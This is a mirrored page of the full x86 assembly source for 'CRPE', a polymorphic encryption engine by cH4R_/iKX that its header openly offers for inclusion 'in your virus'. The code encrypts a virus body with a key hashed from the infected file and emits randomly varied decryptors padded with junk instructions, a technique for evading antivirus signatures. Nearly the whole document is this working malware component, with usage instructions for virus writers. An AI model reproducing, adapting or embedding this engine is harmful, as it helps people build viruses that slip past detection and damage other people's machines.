mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
706 lines
29 KiB
PHP
706 lines
29 KiB
PHP
|
;-------------------------------------------------------------------------------
|
||
|
;
|
||
|
; CRPE - cH4R_ Real Polymorphic Engine
|
||
|
;
|
||
|
; by cH4R_/iKX
|
||
|
;
|
||
|
; Version: 1.5
|
||
|
;
|
||
|
;-------------------------------------------------------------------------------
|
||
|
; http://www.charvx.cjb.net
|
||
|
;-------------------------------------------------------------------------------
|
||
|
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
|
||
|
; work, and the author will NOT be responsible for damages to your machine or
|
||
|
; any other machine. If you will use it in your virus, just give me some
|
||
|
; credits, and i will be happy. ;*
|
||
|
;-------------------------------------------------------------------------------
|
||
|
;
|
||
|
; News:
|
||
|
;
|
||
|
; - New code layout (tabs :P)
|
||
|
; - Some optimizations for size and speed
|
||
|
; - Improved morphing & trash generation
|
||
|
; - A lot of bugs fixed, now CRPE is completely working !! :D
|
||
|
;
|
||
|
;-------------------------------------------------------------------------------
|
||
|
;
|
||
|
; CRPE in pratice:
|
||
|
;
|
||
|
; To use it in your virus u will have to include CRPE in your
|
||
|
; source (duh!). Before call the engine to make a poly decryptor,
|
||
|
; "YOU" will have to find a place to HASH, used obtain a the
|
||
|
; encryption/decryption key.
|
||
|
; Your code must allow 586 instructions and have about 100
|
||
|
; bytes of stack memory for CRPE.
|
||
|
;
|
||
|
; ------> Input (in STACK):
|
||
|
;
|
||
|
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||
|
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||
|
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||
|
; Arg4 = [SIZE OF AREA TO HASH]
|
||
|
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
|
||
|
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||
|
;
|
||
|
; ------> Output:
|
||
|
;
|
||
|
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
|
||
|
; * ALL other register will be restored
|
||
|
; ** Flags will be "corrupted"
|
||
|
;
|
||
|
; ------> Example (for dummy guys):
|
||
|
;
|
||
|
; In data section:
|
||
|
;
|
||
|
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
|
||
|
;
|
||
|
; In code section:
|
||
|
;
|
||
|
; push 00401000h ; Area to hash, in infected file
|
||
|
; push edx ; Area to hash, now
|
||
|
; push 00000200h ; Size of area to hash
|
||
|
; push [ebp+Buf] ; Buffer
|
||
|
; push CODE_SIZE ; Size of area to encrypt
|
||
|
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
|
||
|
; call CRPE_make
|
||
|
;
|
||
|
; ------> The result will be something like:
|
||
|
;
|
||
|
; [SOME TRASH INSTRUCTIONS]
|
||
|
;
|
||
|
; [CALL POLY_DECRYPTOR]
|
||
|
;
|
||
|
; [ENCRYPTED DATA]
|
||
|
;
|
||
|
; [POLY_DECRYPTOR]
|
||
|
;
|
||
|
;-------------------------------------------------------------------------------
|
||
|
|
||
|
|
||
|
; -- User information to allocate memory --
|
||
|
|
||
|
; Max. size of decryptor in bytes
|
||
|
CRPE_max_dec equ 0A3h
|
||
|
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
|
||
|
CRPE_max_total equ CRPE_max_dec+02Fh
|
||
|
|
||
|
; -----------------------------------------
|
||
|
|
||
|
; Things to save my time...
|
||
|
ofs equ offset
|
||
|
bye equ byte ptr
|
||
|
dwo equ dword ptr
|
||
|
wod equ word ptr
|
||
|
|
||
|
; Structure of PUSHAD
|
||
|
STACK_REG STRUCT
|
||
|
_EDI dd ?
|
||
|
_ESI dd ?
|
||
|
_EBP dd ?
|
||
|
_ESP dd ?
|
||
|
_EBX dd ?
|
||
|
_EDX dd ?
|
||
|
_ECX dd ?
|
||
|
_EAX dd ?
|
||
|
STACK_REG ENDS
|
||
|
|
||
|
; PUSHAD structure size
|
||
|
STACK_REGS equ SIZE STACK_REG
|
||
|
|
||
|
; Structure of stack used in CRPE
|
||
|
|
||
|
; Arguments
|
||
|
arg6 equ 18h
|
||
|
arg5 equ 14h
|
||
|
arg4 equ 10h
|
||
|
arg3 equ 0Ch
|
||
|
arg2 equ 08h
|
||
|
arg1 equ 04h
|
||
|
|
||
|
; SizeOf( PUSHAD + TEMPORARY MEMORY )
|
||
|
CRPE_stack equ CRPE_tmp+STACK_REGS
|
||
|
|
||
|
; Size of temporary memory
|
||
|
CRPE_tmp equ 0Fh
|
||
|
|
||
|
; Registers
|
||
|
R_EAX equ 0
|
||
|
R_ECX equ 1
|
||
|
R_EDX equ 2
|
||
|
R_EBX equ 3
|
||
|
R_ESP equ 4
|
||
|
R_EBP equ 5
|
||
|
R_ESI equ 6
|
||
|
R_EDI equ 7
|
||
|
|
||
|
; CRPE Signature
|
||
|
db "[CRPE]"
|
||
|
|
||
|
;-------------------------------------------------------------------------------
|
||
|
; Main procedure of CRPE
|
||
|
;-------------------------------------------------------------------------------
|
||
|
; Input:
|
||
|
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||
|
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||
|
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||
|
; Arg4 = [SIZE OF AREA TO HASH]
|
||
|
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
|
||
|
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||
|
; Output:
|
||
|
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
|
||
|
|
||
|
CRPE_make proc
|
||
|
|
||
|
pushad ; Save registers...
|
||
|
|
||
|
; Set memory
|
||
|
|
||
|
sub esp,CRPE_tmp ; Reserve stack
|
||
|
mov ebp,esp ; EBP = Pointer to reserved stack
|
||
|
|
||
|
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
|
||
|
|
||
|
; Generate initial TRASH + CALL
|
||
|
|
||
|
call CRPE_tg ; Generate some trash..
|
||
|
|
||
|
push 1 ; We will generate more trash ?
|
||
|
call CRPE_rnd ;
|
||
|
xchg eax,ecx ; Choose: YES or NOT
|
||
|
jecxz @insert_call ;
|
||
|
|
||
|
call CRPE_tg ; Generate more trash...
|
||
|
|
||
|
@insert_call:
|
||
|
mov al,0E8h ; Generate: CALL opcode
|
||
|
stosb ; write...
|
||
|
mov eax,edi ; Generate: immed32
|
||
|
add eax,[esp+CRPE_stack+arg2] ;
|
||
|
sub eax,edi ;
|
||
|
stosd ; write...
|
||
|
|
||
|
; Copy
|
||
|
|
||
|
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
|
||
|
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
|
||
|
push edi ; Save EDI !
|
||
|
push ecx ; Save ECX !
|
||
|
cld ;
|
||
|
rep movsb ; Copy...
|
||
|
|
||
|
; Hash
|
||
|
|
||
|
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
|
||
|
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
|
||
|
push -1 ;
|
||
|
call CRPE_rnd ; EAX = Random number
|
||
|
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
|
||
|
|
||
|
push eax ; Arg3
|
||
|
push ecx ; Arg2
|
||
|
push ebx ; Arg1
|
||
|
call CRPE_hash ; Hash...
|
||
|
|
||
|
; Encrypt
|
||
|
|
||
|
pop ecx ; Restore ECX !
|
||
|
pop edx ; Restore EDI in EDX !
|
||
|
|
||
|
sub ecx,4 ; \ Some fixes...
|
||
|
add edx,ecx ; /
|
||
|
@@enc_loop:
|
||
|
xor [edx],eax ; XOR [BUFFER], KEY
|
||
|
xor eax,ecx ; XOR KEY, COUNTER
|
||
|
dec edx
|
||
|
dec ecx ; DEC COUNTER
|
||
|
jns @@enc_loop ; encryption loop
|
||
|
|
||
|
; --- TRASH + PUSHAD ---
|
||
|
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: YES or NO
|
||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||
|
jecxz @no_trash ; ECX = 0 ? Dont put trash...
|
||
|
call CRPE_tg ; Trash gen. routine
|
||
|
@no_trash: ;
|
||
|
mov al,60h ; Generate: PUSHAD
|
||
|
stosb ; Write...
|
||
|
|
||
|
; --- HASH INIT ---
|
||
|
|
||
|
; Generate MOV (REG32_1),Buffer
|
||
|
push 3 ;
|
||
|
call CRPE_rnd ; Get random number between 0-3
|
||
|
mov [ebp],al ; Save AL in temporary memory
|
||
|
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||
|
stosb ; Write..
|
||
|
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
|
||
|
stosd ; Write..
|
||
|
|
||
|
; Generate MOV (REG32_2),Size
|
||
|
@rnd_1: ;
|
||
|
push 3 ;
|
||
|
call CRPE_rnd ; Get random number between 0-3
|
||
|
cmp [ebp],al ; AL = First value of AL ?
|
||
|
jz @rnd_1 ; Randomize again...
|
||
|
mov [ebp+1],al ; Save AL in temporary memory
|
||
|
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||
|
stosb ; Write..
|
||
|
mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
|
||
|
stosd ; Write..
|
||
|
|
||
|
; Generate XOR/SUB (REG32_3),(REG32_3)
|
||
|
@rnd_2:
|
||
|
push 3 ;
|
||
|
call CRPE_rnd ; Get random number between 0-3
|
||
|
cmp [ebp],al ; AL = First value of AL ?
|
||
|
jz @rnd_2 ; Randomize again...
|
||
|
cmp [ebp+1],al ; AL = Second value of AL ?
|
||
|
jz @rnd_2 ; Randomize again...
|
||
|
mov [ebp+2],al ; Save AL in temporary memory...
|
||
|
mov bl,al ; BL = AL \
|
||
|
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||
|
add al,bl ; AL+= BL /
|
||
|
or al,0C0h ; AL+= 0C0h (r32/r32)
|
||
|
mov ebx,eax ; EBX = EAX
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: SUB or XOR
|
||
|
or eax,eax ;
|
||
|
jz @@sub__ ;
|
||
|
@@xor__: ;
|
||
|
mov al,033h ; Generate: XOR
|
||
|
jmp @write0 ;
|
||
|
@@sub__: ;
|
||
|
mov al,02Bh ; Generate: SUB
|
||
|
@write0: ;
|
||
|
mov ah,bl ;
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate: MOV (REG32_4),(REG32_3)
|
||
|
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
|
||
|
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
|
||
|
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
|
||
|
mov [ebp+3],al ; Save AL in temporary memory
|
||
|
shl al,3 ; AL = AL * 8
|
||
|
or al,[ebp+2] ; AL = AL + REG32_3
|
||
|
or al,0C0h ; AL+= 0C0h
|
||
|
xchg al,ah ; Exchange: AL <-> AH
|
||
|
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
|
||
|
stosw ; Write...
|
||
|
mov [ebp+0Ch],edi ; Save current position in temp. memory
|
||
|
|
||
|
; --- HASH BYTE ---
|
||
|
|
||
|
; Generate: XOR (REG32_3),MAGIC
|
||
|
mov [ebp+8],edi ; Save current position in temp. memory
|
||
|
mov al,bye [ebp+2] ; AL = REG32_3
|
||
|
or eax,eax ; AL != 0 ?
|
||
|
jnz @@normal_xor ; Normal version of XOR...
|
||
|
or al,035h ; Optimized version for EAX
|
||
|
stosb ; Write...
|
||
|
jmp @@immed32_of_xor ; Jump to put an immed32
|
||
|
@@normal_xor: ;
|
||
|
or al,0F0h ; AL+= 0F0h
|
||
|
mov ah,081h ; AH = 081h
|
||
|
xchg ah,al ; Exchange: AH <-> AL
|
||
|
stosw ; Write...
|
||
|
@@immed32_of_xor: ;
|
||
|
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
|
||
|
stosd ; Write...
|
||
|
|
||
|
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
|
||
|
mov al,032h ; XOR r8,mem opcode
|
||
|
stosb ; Write...
|
||
|
|
||
|
mov al,bye [ebp+2] ; AL = REG32_3
|
||
|
shl al,3 ; AL = AL * 8
|
||
|
add al,44h ; Identify R8,LOW of REG32_3
|
||
|
stosb ; Write...
|
||
|
|
||
|
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
|
||
|
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
|
||
|
add al,[ebp+1] ; AL+= REG32_2 /
|
||
|
mov ah,0FFh ; Generate: -1
|
||
|
stosw ; Write...
|
||
|
|
||
|
; Generate: ADD/OR (REG32_4),8
|
||
|
xor ecx,ecx ;
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: ADD or OR
|
||
|
xchg eax,ecx ;
|
||
|
jecxz @add_ ;
|
||
|
mov ah,8 ; Generate: OR
|
||
|
@add_: ; Generate: ADD
|
||
|
mov al,83h ;
|
||
|
or ah,[ebp+3] ; AH = REG32_4
|
||
|
or ah,0C0h ;
|
||
|
stosw ; Write...
|
||
|
mov al,8 ;
|
||
|
stosb ; Write...
|
||
|
mov [ebp+08h],edi ; Save current position in temp. memory
|
||
|
|
||
|
; --- HASH BIT ---
|
||
|
|
||
|
; TRASH or not
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: YES or NO
|
||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||
|
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
|
||
|
call CRPE_tg ; Put trash...
|
||
|
@no_trash2: ;
|
||
|
|
||
|
; Generate: SHL [REG32_3],1
|
||
|
mov al,0D1h ; SHL (REG),1 opcode
|
||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||
|
or ah,0E0h ;
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate: SBB [REG32_3], [REG32_4]
|
||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||
|
shl ah,3 ; AH = AH * 8
|
||
|
add ah,[ebp+3] ; AH+= REG32_4
|
||
|
add ah,0C0h ;
|
||
|
mov al,01Bh ; AL = 01Bh (SBB opcode)
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate: DEC [REG32_4]
|
||
|
mov al,[ebp+3] ; AL = REG32_4
|
||
|
add al,048h ; AL+= 048h (DEC REG opcode)
|
||
|
stosb ; Write..
|
||
|
|
||
|
; Generate: JNZ hash_bit (bit loop)
|
||
|
mov eax,[ebp+08h] ; EAX = hash_bit position
|
||
|
call CRPE_make_jnz ; Calcule the jump...
|
||
|
|
||
|
; Generate: DEC [REG32_2]
|
||
|
mov al,[ebp+1] ; AL = REG32_2
|
||
|
add al,048h ; AL+= 048h (DEC REG opcode)
|
||
|
stosb ; Write..
|
||
|
|
||
|
; Generate: JNZ hash_byte (byte loop)
|
||
|
mov eax,[ebp+0Ch] ; EAX = hash_bit position
|
||
|
call CRPE_make_jnz ; Calcule the jump...
|
||
|
|
||
|
; --- DECRYPTOR INIT ---
|
||
|
|
||
|
; Generate: REG32_1 = Encrypted area
|
||
|
mov al,08Bh ; AL = MOV opcode
|
||
|
stosb ; Write..
|
||
|
|
||
|
@rnd_3: ; Choose another REG32_1
|
||
|
push 3 ;
|
||
|
call CRPE_rnd ; Get random number between 0-7
|
||
|
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||
|
jz @rnd_3 ; So try again..
|
||
|
cmp al,4 ; AL = ESP (4) ?
|
||
|
jz @rnd_3 ; So try again..
|
||
|
mov [ebp],al ; Save in temporary memory
|
||
|
shl al,3 ; AL = AL * 8
|
||
|
add al,044h ; AL+= 44h
|
||
|
stosb ; Write..
|
||
|
|
||
|
mov ax,2024h ; AX = 2024h (ESP+20h)
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate: REG32_2 = Size of area - 4
|
||
|
@rnd_4: ; Choose another REG32_2
|
||
|
push 7 ;
|
||
|
call CRPE_rnd ; Get random number between 0-7
|
||
|
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||
|
jz @rnd_4 ; So try again..
|
||
|
cmp al,[ebp] ; AL = REG32_1 ?
|
||
|
jz @rnd_4 ; So try again..
|
||
|
cmp al,4 ; AL = ESP (4) ?
|
||
|
jz @rnd_4 ; So try again..
|
||
|
mov [ebp+1],al ; Save in temporary memory
|
||
|
add al,0B8h ; AL+= B8h (MOV opcode)
|
||
|
stosb ; Write..
|
||
|
|
||
|
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
|
||
|
sub eax,4 ; EAX-= 4
|
||
|
stosd ; Write..
|
||
|
|
||
|
; Generate: ADD [REG32_1] , [REG32_2]
|
||
|
|
||
|
mov ax,0C003h ; AX = ADD REG,REG opcode
|
||
|
mov bl,[ebp] ; AL = REG32_1
|
||
|
shl bl,3 ; Second reg..
|
||
|
or bl,[ebp+1] ; REG32_2, first reg..
|
||
|
or ah,bl ;
|
||
|
stosw ; Write..
|
||
|
|
||
|
; --- DECRYPTOR LOOP ---
|
||
|
|
||
|
mov [ebp+04],edi ; Save current position in temporary mem.
|
||
|
|
||
|
; Generate: XOR [REG32_1],[REG32_3]
|
||
|
mov al,031h ; XOR [DS:REG],REG opcode
|
||
|
mov ah,[ebp+2] ; REG32_2
|
||
|
shl ah,3 ; First reg
|
||
|
add ah,[ebp] ; REG32_2, second reg
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate: XOR [REG32_3],[REG32_2]
|
||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||
|
shl ah,3 ; AH = AH * 8
|
||
|
add ah,0C0h ; AH+= C0h
|
||
|
or ah,[ebp+1] ; AH+= REG32_2
|
||
|
mov al,033h ; AL = 33h (XOR opcode)
|
||
|
stosw ; Write..
|
||
|
|
||
|
; Generate some trash or not
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: YES or NO
|
||
|
xchg eax,ecx ;
|
||
|
jecxz @no_trash3 ;
|
||
|
call CRPE_tg ;
|
||
|
@no_trash3:
|
||
|
|
||
|
; Generate: DEC [REG32_1] ;
|
||
|
mov al,[ebp] ; REG32_1
|
||
|
add al,048h ;
|
||
|
stosb ; write..
|
||
|
|
||
|
; Generate: DEC [REG32_2]
|
||
|
mov al,[ebp+1] ; REG32_2
|
||
|
add al,048h ;
|
||
|
stosb ; write..
|
||
|
|
||
|
; Generate: JNS DECRYPTOR_LOOP
|
||
|
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
|
||
|
call CRPE_make_jnz ; Calculate jump
|
||
|
mov bye [edi-2],079h ; JNS
|
||
|
|
||
|
; --- TRASH + POPAD ---
|
||
|
|
||
|
; TRASH or not ;
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: YES or NO
|
||
|
xchg eax,ecx ;
|
||
|
jecxz @no_trash4 ;
|
||
|
call CRPE_tg ;
|
||
|
@no_trash4: ;
|
||
|
|
||
|
; Generate: POPAD
|
||
|
mov al,061h ; AL = POPAD opcode
|
||
|
stosb ; Write..
|
||
|
|
||
|
; --- TRASH + RET ---
|
||
|
|
||
|
; TRASH or not
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: YES or NO
|
||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||
|
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
|
||
|
call CRPE_tg ; Put trash...
|
||
|
@no_trash5: ;
|
||
|
|
||
|
; Generate: RET ;
|
||
|
mov al,0C3h ; AL = 0C3h (RET opcode)
|
||
|
stosb ; Write...
|
||
|
|
||
|
; Calculate return value & Unset memory & Restores regs & Return
|
||
|
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
|
||
|
sub edi,eax
|
||
|
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
|
||
|
add esp,CRPE_tmp
|
||
|
popad
|
||
|
ret 18h
|
||
|
|
||
|
; Common rotine to calculate SHORT jnz's
|
||
|
CRPE_make_jnz:
|
||
|
inc edi ;
|
||
|
inc edi ;
|
||
|
sub eax,edi ; EAX-= Current position
|
||
|
mov ah,075h ; AH = 75h (JNZ opcode)
|
||
|
xchg ah,al ; Exchange: AH <-> AL
|
||
|
mov [edi-2],ax ; Write..
|
||
|
ret ; Return..
|
||
|
|
||
|
CRPE_make endp
|
||
|
|
||
|
;-------------------------------------------------------------------------------
|
||
|
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
|
||
|
;-------------------------------------------------------------------------------
|
||
|
|
||
|
; - Random number generator beetween 0-[Arg1]
|
||
|
; Input: Arg1 = Range
|
||
|
; Output: EAX = Random number
|
||
|
|
||
|
CRPE_rnd proc
|
||
|
|
||
|
pushad ; Save registers..
|
||
|
|
||
|
rdtsc ; CPU TIME-STAMP in EDX:EAX
|
||
|
xor edx,esp ;
|
||
|
xor eax,edx ;
|
||
|
|
||
|
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
|
||
|
inc ecx ;
|
||
|
jecxz CRPE_rnd_fim ;
|
||
|
|
||
|
xor edx,edx ; EDX = 0
|
||
|
div ecx ; EAX = EAX / Arg1
|
||
|
mov eax,edx ; EAX = Rest
|
||
|
|
||
|
CRPE_rnd_fim:
|
||
|
mov [esp+STACK_REG._EAX],eax
|
||
|
|
||
|
popad ; Restore registers..
|
||
|
ret 4h ; Return..
|
||
|
|
||
|
CRPE_rnd endp
|
||
|
|
||
|
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
|
||
|
; Input: EDI = Buffer
|
||
|
; Output: EDI = Buffer (updated)
|
||
|
|
||
|
CRPE_tg proc
|
||
|
|
||
|
pushad ; Save registers
|
||
|
|
||
|
push 3 ;
|
||
|
call CRPE_rnd ; Get random number between 0-3
|
||
|
|
||
|
dec eax ;
|
||
|
js @trash1 ;
|
||
|
dec eax ;
|
||
|
jz @trash2 ;
|
||
|
dec eax ;
|
||
|
jz @trash3 ;
|
||
|
|
||
|
; Generate: PUSH (REG Y) / POP (REG Y)
|
||
|
@trash4:
|
||
|
push 7 ;
|
||
|
call CRPE_rnd ; Get random number between 0-7
|
||
|
add al,50h ; Generate PUSH (REG)
|
||
|
mov ah,al ;
|
||
|
add ah,8 ; Generate POP (REG)
|
||
|
stosw ; write..
|
||
|
|
||
|
push 1 ; Choose next trash routine...
|
||
|
call CRPE_rnd ;
|
||
|
xchg eax,ecx ;
|
||
|
jecxz @trash2 ;
|
||
|
|
||
|
; Generate: MOV (REG X),(REG X)
|
||
|
@trash3:
|
||
|
push 7 ;
|
||
|
call CRPE_rnd ; Get random number between 0-7
|
||
|
mov bl,al ; BL = AL \
|
||
|
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||
|
add al,bl ; AL+= BL /
|
||
|
add al,0C0h ; AL+= 0C0h
|
||
|
mov ah,08Bh ; Generater MOV (REG X),(REG X)
|
||
|
xchg ah,al ; Exchange: AH <-> AL
|
||
|
stosw ; write...
|
||
|
|
||
|
push 1 ; Choose next trash routine...
|
||
|
call CRPE_rnd ;
|
||
|
xchg eax,ecx ;
|
||
|
jecxz @trash1 ;
|
||
|
|
||
|
; Generate: CMP/TEST (REG X),(REG Y)
|
||
|
@trash2:
|
||
|
push 03Fh ;
|
||
|
call CRPE_rnd ; Get random number between 0-63
|
||
|
xchg bl,al ; Exchange: BL <-> AL
|
||
|
add bl,0C0h ; BL+= 0C0h
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: CMP or TEST
|
||
|
or eax,eax ;
|
||
|
jz @@_cmp ;
|
||
|
@@_test: ;
|
||
|
mov al,085h ; Generate: TEST opcode
|
||
|
jmp @@write_trash_ ;
|
||
|
@@_cmp: ;
|
||
|
mov al,03Bh ; Generate: CMP opcode
|
||
|
@@write_trash_: ;
|
||
|
mov ah,bl ; AH = BL
|
||
|
stosw ; Write...
|
||
|
jmp @trash_end
|
||
|
|
||
|
; Generate: CALL (XXXX) | ESP-4
|
||
|
@trash1:
|
||
|
mov al,0E8h ;
|
||
|
stosb ; Generate CALL opcode
|
||
|
|
||
|
push 8 ;
|
||
|
call CRPE_rnd ; Get random number between 0-8
|
||
|
inc eax ; EAX++
|
||
|
stosd ; Generate imm32 of CALL
|
||
|
|
||
|
mov ecx,eax ; ECX = EAX (imm32)
|
||
|
@@repeat_trash: ;
|
||
|
push -1 ;
|
||
|
call CRPE_rnd ; Generate random number in EAX
|
||
|
stosb ; write al
|
||
|
loop @@repeat_trash ; (ECX) times...
|
||
|
|
||
|
push 1 ;
|
||
|
call CRPE_rnd ; Choose: ADD ESP,4 or
|
||
|
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
|
||
|
jecxz @@4dec_esp ;
|
||
|
|
||
|
mov al,83h ;
|
||
|
stosb ; Generate ADD ESP,4
|
||
|
mov ax,04C4h ;
|
||
|
stosw ;
|
||
|
jmp @trash_end ; No more trash...
|
||
|
|
||
|
@@4dec_esp: ;
|
||
|
mov eax,44444444h ; Generate INC ESP, 4 times
|
||
|
stosd ;
|
||
|
|
||
|
@trash_end:
|
||
|
mov [esp+STACK_REG._EDI],edi ; Update EDI...
|
||
|
popad ; Restore registers
|
||
|
ret ; Return...
|
||
|
|
||
|
CRPE_tg endp
|
||
|
|
||
|
; - Hashing
|
||
|
; Input:
|
||
|
; Arg1 = Pointer to data to hash
|
||
|
; Arg2 = Size of data to hash
|
||
|
; Arg3 = MAGIC
|
||
|
; Outrput:
|
||
|
; EAX = Hashed data
|
||
|
|
||
|
CRPE_hash proc
|
||
|
|
||
|
pushad ; Save regs.
|
||
|
|
||
|
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
|
||
|
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
|
||
|
xor eax,eax ; EAX = 0 (reader / hasher)
|
||
|
mov ebx,eax ; EBX = 0 (bit counter)
|
||
|
|
||
|
@@@hash_byte: ;
|
||
|
xor eax,[esp+STACK_REGS+12] ;
|
||
|
xor al,[edx+ecx-1] ;
|
||
|
or bl,8 ;
|
||
|
|
||
|
@@@hash_bit: ;
|
||
|
shl eax,1 ;
|
||
|
sbb eax,ebx ;
|
||
|
dec ebx ;
|
||
|
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
|
||
|
|
||
|
dec ecx ;
|
||
|
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
|
||
|
|
||
|
mov [esp+STACK_REG._EAX],eax ;
|
||
|
|
||
|
popad ; Restore regs.
|
||
|
ret 0Ch ; Return...
|
||
|
|
||
|
CRPE_hash endp
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|